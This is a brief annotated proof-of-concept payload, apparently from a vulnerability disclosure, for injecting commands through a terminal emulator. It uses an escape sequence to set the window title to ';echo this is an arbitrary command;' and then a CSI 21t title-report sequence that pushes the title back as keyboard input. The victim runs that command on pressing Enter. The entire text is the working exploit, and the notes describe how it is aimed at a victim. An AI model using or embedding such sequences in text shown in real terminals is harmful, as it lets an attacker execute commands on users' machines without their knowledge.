\x1Bk;                                <- start setting the window title
;echo this is an arbitrary command;   <- the title itself - this is what we want to be executed after the victim presses the enter button
.                                     <- just a placeholder as otherwise the whitespaces would be trimmed.
\x1B\                                 <- end setting the window title
\e[21t                                <- read the window title and push it as keyboard input
